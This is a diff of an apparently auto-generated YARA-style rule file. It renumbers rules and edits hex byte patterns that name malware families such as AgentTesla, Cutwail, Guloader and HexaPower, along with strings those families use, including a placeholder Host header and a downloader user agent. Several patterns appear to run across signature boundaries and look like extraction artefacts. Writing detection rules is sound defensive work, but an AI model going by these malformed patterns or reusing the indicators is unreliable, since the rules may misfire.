" @@ -113347,7 +120755,7 @@ rule _InfrastructureShared_10419{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30572+(#a_6d_2 & 1)*25458+(#a_32_3 & 1)*30825) >=4 } -rule _InfrastructureShared_10420{ +rule _InfrastructureShared_11089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113360,7 +120768,7 @@ rule _InfrastructureShared_10420{ ((#a_63_0 & 1)*17699+(#a_74_1 & 1)*31059+(#a_74_2 & 1)*13366+(#a_73_3 & 1)*26210) >=4 } -rule _InfrastructureShared_10421{ +rule _InfrastructureShared_11090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113372,7 +120780,7 @@ rule _InfrastructureShared_10421{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*13925+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_10422{ +rule _InfrastructureShared_11091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113385,7 +120793,7 @@ rule _InfrastructureShared_10422{ ((#a_54_0 & 1)*18467+(#a_29_1 & 1)*29793+(#a_66_2 & 1)*26724+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_10423{ +rule _InfrastructureShared_11092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113397,7 +120805,7 @@ rule _InfrastructureShared_10423{ ((#a_54_0 & 1)*18467+(#a_76_2 & 1)*25345+(#a_74_3 & 1)*30052) >=4 } -rule _InfrastructureShared_10424{ +rule _InfrastructureShared_11093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113410,7 +120818,7 @@ rule _InfrastructureShared_10424{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_98_3 & 1)*0) >=4 } -rule _InfrastructureShared_10425{ +rule _InfrastructureShared_11094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113423,7 +120831,7 @@ rule _InfrastructureShared_10425{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*-32491+(#a_6c_2 & 1)*26219+(#a_6c_3 & 1)*25202) >=4 } -rule _InfrastructureShared_10426{ +rule _InfrastructureShared_11095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113436,7 +120844,7 @@ rule _InfrastructureShared_10426{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28520+(#a_75_2 & 1)*8300+(#a_65_3 & 1)*25940) >=4 } -rule _InfrastructureShared_10427{ +rule _InfrastructureShared_11096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113448,7 +120856,7 @@ rule _InfrastructureShared_10427{ ((#a_54_0 & 1)*18467+(#a_61_2 & 1)*385+(#a_2f_3 & 1)*13166) >=4 } -rule _InfrastructureShared_10428{ +rule _InfrastructureShared_11097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113459,7 +120867,7 @@ rule _InfrastructureShared_10428{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28009) >=4 } -rule _InfrastructureShared_10429{ +rule _InfrastructureShared_11098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -113467,24 +120875,39 @@ rule _InfrastructureShared_10429{ $a_4c_0 = {57 69 6e 36 34 2f 48 57 53 79 63 61 6c 7a 2e 41 21 4d 54 42 00 01 00 2b 02 89 45 74 48 63 45 74 48 89 85 98 00 00 00 48 c7 85 a0 00 00 00 00 00 00 00 48 8d 90 01 05 e8 90 01 04 48 89 85 c8 00 00 00 90 00 01 } //21539 $a_ba_1 = {ff 1f } //6400 $a_90_2 = {02 ff 95 90 01 04 89 85 e4 00 00 00 48 8d 90 00 01 00 14 02 48 8b c8 ff 15 90 01 04 48 8b 4d 08 ff 15 90 01 04 e8 90 00 01 00 0d 00 44 8b 45 7f 48 8b 55 77 48 8b 4d ef e8 00 00 78 98 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 48 65 61 70 63 72 65 7a 2e 42 21 4d 54 42 00 01 00 26 03 48 89 85 e8 00 00 00 48 8b 90 01 05 48 8b 10 48 8b 85 e8 00 00 00 48 89 c1 ff 90 01 01 48 89 85 e0 00 00 00 90 00 01 00 18 } //18432 - $a_85_3 = {00 00 00 0f b7 40 06 66 39 85 fe 00 00 00 0f 83 2b 02 00 00 01 00 12 01 0f b6 85 b7 00 00 00 83 f0 01 84 c0 0f 85 a0 00 00 00 01 00 15 01 48 8b 4d 48 48 8b 45 40 48 8b 55 50 f0 48 0f b1 0a 48 89 45 78 00 00 78 98 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 34 38 00 01 00 0c 80 01 4b 38 55 70 64 61 74 65 2e 65 78 65 01 00 0f 80 } //18433 + $a_85_3 = {00 00 00 0f b7 40 06 66 39 85 fe 00 00 00 0f 83 2b 02 00 00 01 00 12 01 0f b6 85 b7 00 00 00 83 f0 01 84 c0 0f 85 a0 00 00 00 01 00 15 01 48 8b 4d 48 48 8b 45 40 48 8b 55 50 f0 48 0f b1 0a 48 89 45 78 00 00 78 98 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 37 37 00 01 00 0c 80 01 70 64 66 50 69 6c 6f 74 2e 65 78 65 } //18433 condition: ((#a_4c_0 & 1)*21539+(#a_ba_1 & 1)*6400+(#a_90_2 & 1)*18432+(#a_85_3 & 1)*18433) >=4 } -rule _InfrastructureShared_10430{ +rule _InfrastructureShared_11099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {57 69 6e 36 34 2f 48 65 61 70 63 72 65 7a 2e 42 21 4d 54 42 00 01 00 26 03 48 89 85 e8 00 00 00 48 8b 90 01 05 48 8b 10 48 8b 85 e8 00 00 00 48 89 c1 ff 90 01 01 48 89 85 e0 00 00 00 90 00 01 00 18 01 48 8b } //21539 - $a_40_2 = {66 39 85 fe 00 00 00 0f 83 2b 02 00 00 01 00 12 01 0f b6 85 b7 00 00 00 83 f0 01 84 c0 0f 85 a0 00 00 00 01 00 15 01 48 8b 4d 48 48 8b 45 40 48 8b 55 50 f0 48 0f b1 0a 48 89 45 78 00 00 78 98 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 34 38 00 01 00 0c 80 01 4b 38 55 70 64 61 74 65 2e 65 78 65 01 00 0f 80 01 4b 75 61 69 62 61 4e 65 77 73 43 6f 75 6e 74 01 00 11 80 01 4b 75 61 69 62 61 4e 65 77 73 4c 61 73 74 44 61 79 01 00 08 80 01 4b 38 47 4d 2e 65 78 65 } //3840 + $a_40_2 = {66 39 85 fe 00 00 00 0f 83 2b 02 00 00 01 00 12 01 0f b6 85 b7 00 00 00 83 f0 01 84 c0 0f 85 a0 00 00 00 01 00 15 01 48 8b 4d 48 48 8b 45 40 48 8b 55 50 f0 48 0f b1 0a 48 89 45 78 00 00 78 98 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 37 37 00 01 00 0c 80 01 70 64 66 50 69 6c 6f 74 2e 65 78 65 01 00 14 80 01 70 64 66 50 69 6c 6f 74 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 08 80 01 70 64 66 50 69 6c 6f 74 01 00 08 80 01 50 44 46 50 69 6c 6f 74 } //3840 $a_80_3 = {55 6e 69 6e 73 74 2e 65 78 65 } //Uninst.exe -100 condition: ((#a_4c_0 & 1)*21539+(#a_40_2 & 1)*3840+(#a_80_3 & 1)*-100) >=4 } -rule _InfrastructureShared_10431{ +rule _InfrastructureShared_11100{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 37 37 00 01 00 0c 80 01 70 64 66 50 69 6c 6f 74 2e 65 78 65 01 00 14 80 01 70 64 66 50 69 6c 6f 74 2e 67 2e 72 65 73 6f 75 72 } //16675 + $a_01_1 = {00 08 80 01 70 64 66 50 69 6c 6f 74 01 00 08 80 01 50 44 46 50 69 6c 6f 74 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 98 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 34 38 00 01 00 0c 80 01 4b } //25955 + $a_64_2 = {74 65 2e 65 78 65 01 00 0f 80 01 4b 75 61 69 62 61 4e 65 77 73 43 6f 75 6e 74 01 00 11 80 01 4b 75 61 69 62 61 4e 65 77 73 4c 61 73 74 44 61 79 01 00 08 80 01 4b 38 47 4d 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 98 00 00 05 00 04 00 04 00 21 23 54 45 4c 3a } //21816 + $a_6b_3 = {6f 6f 6c 3a 57 69 6e 36 34 2f 41 72 7a 65 72 6f 61 6b 2e 41 00 01 00 12 01 50 6f 70 46 61 6e 49 72 70 43 6f 6d 70 6c 65 74 65 00 01 00 36 00 5c 00 57 00 69 00 6e 00 33 00 32 00 6b 00 43 00 72 00 6f 00 73 00 73 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 47 00 6c 00 6f 00 62 00 61 00 6c 00 73 00 } //24904 + $a_00_4 = {0e 01 } //0 Ď + $a_01_5 = {00 00 00 c7 41 4c 01 00 00 00 02 00 0a 01 8d 0c 80 c1 e1 0c 41 89 48 20 00 00 78 98 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 49 21 4d 54 42 00 03 00 54 03 16 13 } //16839 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25955+(#a_64_2 & 1)*21816+(#a_6b_3 & 1)*24904+(#a_00_4 & 1)*0+(#a_01_5 & 1)*16839) >=4 + +} +rule _InfrastructureShared_11101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -113498,7 +120921,7 @@ rule _InfrastructureShared_10431{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*24949+(#a_46_2 & 1)*28496+(#a_52_4 & 1)*21320+(#a_20_5 & 1)*0) >=4 } -rule _InfrastructureShared_10432{ +rule _InfrastructureShared_11102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 04 00 04 00 21 " @@ -113510,7 +120933,7 @@ rule _InfrastructureShared_10432{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*115+(#a_4d_3 & 1)*28257) >=4 } -rule _InfrastructureShared_10433{ +rule _InfrastructureShared_11103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -113520,7 +120943,7 @@ rule _InfrastructureShared_10433{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_10434{ +rule _InfrastructureShared_11104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -113531,7 +120954,7 @@ rule _InfrastructureShared_10434{ ((#a_4c_0 & 1)*21539+(#a_17_1 & 1)*13962) >=5 } -rule _InfrastructureShared_10435{ +rule _InfrastructureShared_11105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -113544,7 +120967,7 @@ rule _InfrastructureShared_10435{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28271+(#a_6c_2 & 1)*29300+(#a_61_4 & 1)*385) >=5 } -rule _InfrastructureShared_10436{ +rule _InfrastructureShared_11106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -113552,26 +120975,66 @@ rule _InfrastructureShared_10436{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 31 30 21 4d 54 42 00 01 00 11 81 01 42 75 6e 69 31 66 75 5f 54 65 31 78 74 42 31 6f 78 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0a 81 01 46 72 } //18467 $a_61_1 = {65 36 34 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 1a 81 01 4b 4c 41 58 44 20 44 53 48 53 41 44 4a 55 46 41 48 47 59 46 20 58 55 59 46 47 00 00 78 98 00 00 05 00 05 00 05 00 21 23 48 53 } //28015 $a_54_2 = {6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 75 74 77 61 69 6c 2e 41 5a 00 02 00 23 03 ff ff b8 0b 00 00 6a 04 8d 85 90 01 02 ff ff 50 68 05 10 00 00 68 } //21076 - $a_01_4 = {01 51 e8 90 00 02 00 07 01 0f be 11 83 fa 58 75 01 00 0d 01 72 65 61 64 65 72 5f 73 2e 65 78 65 00 01 00 16 01 48 6f 73 74 3a 20 78 78 78 58 58 78 78 58 58 58 78 2e 63 6f 6d 00 01 00 06 01 45 74 61 67 3a 00 00 00 78 98 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 78 61 50 6f 77 65 72 2e 41 21 64 68 61 00 01 00 17 01 2d 58 20 27 6d 61 69 6e 2e 72 65 73 6f 75 72 63 65 3d 68 74 74 70 73 01 } //19851 + $a_01_4 = {01 51 e8 90 00 02 00 07 01 0f be 11 83 fa 58 75 01 00 0d 01 72 65 61 64 65 72 5f 73 2e 65 78 65 00 01 00 16 01 48 6f 73 74 3a 20 78 78 78 58 58 78 78 58 58 58 78 2e 63 6f 6d 00 01 00 06 01 45 74 61 67 3a 00 00 00 78 98 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 46 30 31 21 4d 54 42 00 01 00 0c 81 01 74 6f 73 74 61 6f 20 6b 75 6e 6e 65 01 00 17 81 01 73 69 6e 64 73 6f 70 72 72 } //19851 condition: ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28015+(#a_54_2 & 1)*21076+(#a_01_4 & 1)*19851) >=5 } -rule _InfrastructureShared_10437{ +rule _InfrastructureShared_11107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 75 74 77 61 69 6c 2e 41 5a 00 02 00 23 03 ff ff b8 0b 00 00 6a 04 8d 85 90 01 02 ff ff 50 68 05 10 00 00 68 ff ff 00 00 8b 4d 90 01 01 51 e8 90 00 02 00 07 01 0f be 11 83 fa } //18467 $a_00_1 = {0d } //30040 - $a_61_2 = {65 72 5f 73 2e 65 78 65 00 01 00 16 01 48 6f 73 74 3a 20 78 78 78 58 58 78 78 58 58 58 78 2e 63 6f 6d 00 01 00 06 01 45 74 61 67 3a 00 00 00 78 98 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 78 61 50 6f 77 65 72 2e 41 21 64 68 61 00 01 00 17 01 2d 58 20 27 6d } //29185 - $a_2e_3 = {65 73 6f 75 72 63 65 3d 68 74 74 70 73 01 00 0e 01 2d 58 20 27 6d 61 69 6e 2e 6b 68 65 78 3d 01 00 0a 00 6d 61 69 6e 2e 67 65 74 70 6c 01 00 0b 00 6d 61 69 6e 2e 64 65 63 6f 64 65 01 00 09 00 6d 61 69 6e 2e 63 6f 70 79 01 00 12 00 6d 61 69 6e 2e 64 65 63 6f 64 65 75 74 66 31 36 6c 65 00 00 78 98 00 00 05 00 05 00 06 00 21 23 54 } //26977 - $a_54_4 = {6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4b 61 6d 61 63 2e 41 00 01 00 04 01 26 61 76 3d 01 00 06 01 26 66 69 6c 65 3d 01 00 04 01 2e 65 6e 63 01 00 19 } //19525 + $a_61_2 = {65 72 5f 73 2e 65 78 65 00 01 00 16 01 48 6f 73 74 3a 20 78 78 78 58 58 78 78 58 58 58 78 2e 63 6f 6d 00 01 00 06 01 45 74 61 67 3a 00 00 00 78 98 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 46 30 31 21 4d 54 42 00 01 00 0c 81 01 74 6f 73 74 61 6f 20 } //29185 + $a_6e_3 = {01 00 17 81 01 73 69 6e 64 73 6f 70 72 72 74 73 20 72 61 73 70 69 74 65 2e 65 78 65 01 00 0c 81 01 78 65 6e 6f 64 65 72 6d 2e 67 69 66 01 00 10 81 01 50 61 6e 74 68 61 76 65 72 65 6e 73 2e 62 69 6e 01 00 18 81 01 62 72 65 76 64 75 65 5c 43 65 6c 65 73 74 69 66 79 31 34 32 2e 6a 70 67 00 00 78 98 00 00 05 00 05 00 05 00 21 23 48 } //30059 + $a_3a_4 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 43 30 31 21 4d 54 42 00 01 00 0b 81 01 75 6e 66 65 72 72 65 74 69 6e 67 01 00 18 81 01 73 6d 61 64 72 65 64 65 73 20 73 65 6d 69 71 75 61 64 72 61 6e 67 6c 65 01 00 10 81 01 74 68 65 72 6d 6f 72 65 } //21587 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30040+(#a_61_2 & 1)*29185+(#a_2e_3 & 1)*26977+(#a_54_4 & 1)*19525) >=5 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30040+(#a_61_2 & 1)*29185+(#a_6e_3 & 1)*30059+(#a_3a_4 & 1)*21587) >=5 } -rule _InfrastructureShared_10438{ +rule _InfrastructureShared_11108{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 46 30 31 21 4d 54 42 00 01 00 0c 81 01 74 6f 73 74 61 6f 20 6b 75 6e 6e 65 01 00 17 81 01 73 69 6e 64 73 6f 70 72 72 74 73 20 72 61 73 70 69 74 65 2e 65 78 65 01 00 0c 81 01 78 65 6e 6f 64 65 72 } //18467 + $a_69_1 = {01 00 10 81 01 50 61 6e 74 68 61 76 65 72 65 6e 73 2e 62 69 6e 01 00 18 81 01 62 72 65 76 64 75 65 5c 43 65 6c 65 73 74 69 66 79 31 34 32 2e 6a 70 67 00 00 78 98 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 43 30 31 21 4d 54 42 00 01 00 0b 81 01 75 6e 66 65 } //11885 + $a_74_2 = {6e 67 01 00 18 81 01 73 6d 61 64 72 65 64 65 73 20 73 65 6d 69 71 75 61 64 72 61 6e 67 6c 65 01 00 10 81 01 74 68 65 72 6d 6f 72 65 67 75 6c 61 74 69 6f 6e 01 00 09 81 01 73 74 65 64 66 61 72 65 6e 01 00 1b 81 01 62 6f 72 64 65 72 65 61 75 78 20 61 76 65 6e 61 67 65 20 64 79 72 65 73 70 6f 72 00 00 78 } //29298 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*11885+(#a_74_2 & 1)*29298) >=5 + +} +rule _InfrastructureShared_11109{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 43 30 31 21 4d 54 42 00 01 00 0b 81 01 75 6e 66 65 72 72 65 74 69 6e 67 01 00 18 81 01 73 6d 61 64 72 65 64 65 73 20 73 65 6d 69 71 75 61 64 72 61 6e 67 6c 65 01 00 10 81 01 74 68 65 72 6d 6f 72 } //18467 + $a_6c_1 = {74 69 6f 6e 01 00 09 81 01 73 74 65 64 66 61 72 65 6e 01 00 1b 81 01 62 6f 72 64 65 72 65 61 75 78 20 61 76 65 6e 61 67 65 20 64 79 72 65 73 70 6f 72 00 00 78 98 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 36 31 33 21 4d 54 42 00 01 00 21 81 01 61 72 79 74 68 6d 69 61 20 72 65 6d 61 6e 63 69 70 } //26469 + $a_6f_2 = {20 62 61 73 69 72 68 69 6e 61 6c 01 00 0c 81 01 6b 6f 62 62 65 72 73 6d 65 64 65 73 01 00 0d 81 01 48 61 6c 76 6c 61 6e 67 65 2e 69 6e 69 01 00 0d 81 01 64 65 6d 69 67 72 61 74 65 2e 73 6c 69 01 00 0f 81 01 5c 52 65 66 75 73 65 72 69 6e 67 65 72 6e 65 00 00 78 98 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 54 72 6f } //29793 + $a_3a_3 = {69 6e 36 34 2f 48 65 78 61 50 6f 77 65 72 2e 41 21 64 68 61 00 01 00 17 01 2d 58 20 27 6d 61 69 6e 2e 72 65 73 6f 75 72 63 65 3d 68 74 74 70 73 01 00 0e 01 2d 58 20 27 6d 61 69 6e 2e 6b 68 65 78 3d 01 00 0a 00 6d 61 69 6e 2e 67 65 74 70 6c 01 00 0b 00 6d 61 69 6e 2e 64 65 63 6f 64 65 01 00 09 00 6d 61 69 6e 2e 63 6f 70 79 01 00 } //24938 + $a_61_4 = {6e 2e 64 65 63 6f 64 65 75 74 66 31 36 6c 65 00 00 78 98 00 00 05 00 05 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4b 61 6d 61 63 2e 41 00 01 00 04 01 26 61 76 3d 01 00 06 01 26 66 69 6c 65 3d 01 00 04 01 2e 65 6e 63 01 00 19 01 55 73 65 72 41 67 65 6e 74 3d 4b 65 65 70 54 } //18 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26469+(#a_6f_2 & 1)*29793+(#a_3a_3 & 1)*24938+(#a_61_4 & 1)*18) >=5 + +} +rule _InfrastructureShared_11110{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 36 31 33 21 4d 54 42 00 01 00 21 81 01 61 72 79 74 68 6d 69 61 20 72 65 6d 61 6e 63 69 70 61 74 69 6f 6e 20 62 61 73 69 72 68 69 6e 61 6c 01 00 0c 81 01 6b 6f 62 62 65 72 73 6d 65 64 65 73 01 } //18467 + $a_01_1 = {48 61 6c 76 6c 61 6e 67 65 2e 69 6e 69 01 00 0d 81 01 64 65 6d 69 67 72 61 74 65 2e 73 6c 69 01 00 0f 81 01 5c 52 65 66 75 73 65 72 69 6e 67 65 72 6e 65 00 00 78 98 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 78 61 50 6f 77 65 72 2e 41 21 64 68 61 00 01 00 17 01 2d 58 20 27 6d 61 69 6e 2e 72 65 73 6f 75 72 63 65 3d 68 74 74 70 73 01 00 0e 01 } //3328 + $a_27_2 = {61 69 6e 2e 6b 68 65 78 3d 01 00 0a 00 6d 61 69 6e 2e 67 65 74 70 6c 01 00 0b 00 6d 61 69 6e 2e } //22573 + $a_6f_3 = {65 01 00 09 00 6d 61 69 6e 2e 63 6f 70 79 01 00 12 00 6d 61 69 6e 2e 64 65 63 6f 64 65 75 74 66 31 36 6c 65 00 00 78 98 00 00 05 00 05 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4b 61 6d 61 63 2e 41 00 01 00 04 01 26 61 76 3d 01 00 06 01 26 66 } //25956 + $a_3d_4 = {00 04 01 2e 65 6e 63 01 00 19 01 55 73 65 72 41 67 65 6e 74 3d 4b 65 65 70 54 72 79 69 6e 67 4c 61 6d 65 72 01 00 14 01 72 6f 6f 74 5c 73 65 63 75 72 69 74 79 63 65 6e 74 65 72 32 01 00 18 01 64 7a 56 51 52 47 39 44 54 55 55 30 62 30 4e 70 64 7a 64 33 4e 6c 6c 33 00 00 78 98 00 00 05 00 05 00 07 00 21 } //27753 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3328+(#a_27_2 & 1)*22573+(#a_6f_3 & 1)*25956+(#a_3d_4 & 1)*27753) >=5 + +} +rule _InfrastructureShared_11111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -113584,7 +121047,7 @@ rule _InfrastructureShared_10438{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*10+(#a_76_2 & 1)*9729+(#a_00_5 & 1)*5) >=5 } -rule _InfrastructureShared_10439{ +rule _InfrastructureShared_11112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -113599,7 +121062,7 @@ rule _InfrastructureShared_10439{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*15732+(#a_48_2 & 1)*8448+(#a_58_3 & 1)*17769+(#a_52_4 & 1)*21320+(#a_73_5 & 1)*26723) >=5 } -rule _InfrastructureShared_10440{ +rule _InfrastructureShared_11113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -113615,7 +121078,7 @@ rule _InfrastructureShared_10440{ ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*18772+(#a_52_2 & 1)*21320+(#a_73_3 & 1)*26723+(#a_6e_4 & 1)*21106+(#a_52_5 & 1)*19248+(#a_57_6 & 1)*32139) >=5 } -rule _InfrastructureShared_10441{ +rule _InfrastructureShared_11114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 05 00 04 00 21 " @@ -113628,7 +121091,7 @@ rule _InfrastructureShared_10441{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*282+(#a_00_2 & 1)*6+(#a_54_3 & 1)*17996) >=5 } -rule _InfrastructureShared_10442{ +rule _InfrastructureShared_11115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -113640,7 +121103,7 @@ rule _InfrastructureShared_10442{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*21302+(#a_53_2 & 1)*12851) >=6 } -rule _InfrastructureShared_10443{ +rule _InfrastructureShared_11116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -113652,7 +121115,7 @@ rule _InfrastructureShared_10443{ ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*22667+(#a_90_2 & 1)*-13991) >=6 } -rule _InfrastructureShared_10444{ +rule _InfrastructureShared_11117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -113660,26 +121123,40 @@ rule _InfrastructureShared_10444{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 53 4a 4b 46 21 4d 54 42 00 01 00 21 03 9a 1f 10 28 90 01 01 00 00 0a 86 6f 90 01 01 00 00 0a 00 11 90 01 01 17 d6 13 90 02 08 31 df 90 00 01 00 0e 81 01 43 61 65 73 61 72 44 } //16675 $a_65_1 = {73 65 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 00 00 78 98 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 4d 50 72 6f 74 65 63 74 2e 52 54 21 4d 54 42 00 01 00 16 81 01 47 65 74 50 